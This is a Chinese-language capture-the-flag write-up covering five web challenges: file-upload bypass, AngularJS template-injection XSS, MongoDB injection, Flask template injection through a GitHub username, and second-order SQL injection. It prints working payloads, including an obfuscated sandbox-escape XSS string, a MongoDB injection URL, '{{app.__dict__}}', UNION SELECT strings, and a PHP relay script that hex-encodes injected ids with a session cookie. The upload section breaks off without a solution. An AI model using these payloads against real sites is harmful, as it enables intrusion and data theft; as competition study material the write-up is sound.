感觉这次web好难 感谢各路大牛的助攻
去实验室和学长们一起讨论 感觉还是很high的
讲道理还是要写一波wp
0x01 web100-upupup!
就是一个上传的页面
常规的改文件名 和 固定后缀
看标题 应该是大写某个东西绕过
试过 爆破文件名后缀 各种大小写配合 无果
最后
0x02 web200
这是一道颠覆我三观的xss
不需要 < > 就可以执行js
proof: {{1/2}}
回显 : 0.5
执行了运算
paper: http://blog.portswigger.net/2016/01/xss-without-html-client-side-template.html
payload :{{'a'.coonnstructor.prototype.charAt=[].join;$evevalal('x=1} } };alealertrt(1)//');}}
0x03 web300-legend
这题只有一个页面 页面参数只有一个 news.php?newsid=1
常规的注入没有任何回显 直接跳转到主页
后来服务器经常崩... 出现了这个报错
paper:http://drops.wooyun.org/tips/3939
改了下里面的payload
http://806bddce.seclover.com/news.php
?newsid=0'});return {username:tojson(db.getCollectionNames()),password:2};//&password=test
=========
正常返回 但是少了标题 猜测可能有个参数是标题
然后
查里面的集合 类似mysql中的表
想必flag在user表里
啪啪啪... 怎么都找不到flag 数据库的翻遍了
脑洞了下... 这个email的名字.. 不会在email的邮件里吧 =.=
最后 竟然在记事本里...
0x04 web400
这题很神奇~
页面就/ 和 /user 俩个页面
在/页面可以连接到github 认证后访问/user 就会返回你的github 头像 用户名 id
直接访问/user 可以发现是flask框架
学长在认证的时候 google了出题人的名字 (说是想社工一下...) 于是
咦 怎么多了个{{app...}} 但是进去后又发现只有howmp
难道出题人做测试的时候正好被google缓存了?
于是照着... 改自己的github名字 {{app.__dict__}} 全有了~
paper:http://drops.wooyun.org/web/13057
================ 我是分割线 =============
0x05 web500
事实证明拖了一段时间就不想写wp了 讲道理还是要写完
这题比赛的时候没有写出来 官方给了提示的时候测试了 901 order by 1 的hex值
然后它一直在变 没有想明白为什么
后来看了麦香牛的题解 和官方wp
记录一下麦香牛的中转脚本 解锁新姿势
<?php
$content = array(
"http"=>array(
"method"=>"GET",
"header"=>"Cookie:PHPSESSID=c1mfs6lu2amjmlu74v7srsssn6;"
)
);
$content = stream_context_create($content);
$html = file_get_contents("http://edb24e7c.seclover.com/add_cart.php?id=0x".bin2hex($_GET['id']),false,$content);
echo "http://edb24e7c.seclover.com/add_cart.php?id=0x".bin2hex($_GET['id'])."<br>";
$html = file_get_contents('http://edb24e7c.seclover.com/userinfo.php', false, $content);
preg_match('/cost: (.*?)<\/p>/i',$html,$res);
echo $res[1]===0 ? 0 : $res[1];
猜测后台语句为
购买的页面
'insert into buy values(*****,'.$_GET[id].')'
结算页面
$sql='select id from buy where *** ' //取出最新购买商品的id
$row=mysql_fetch_row(mysql_query($sql))
$sql2='update cost set cost=(select cost from product where id='.$row[id].')'
还是不能理解 为何id=-1 union select 1,2,3,4#不能注入成功
而id=901 and 1=2 union select 1,2,3,4# 可以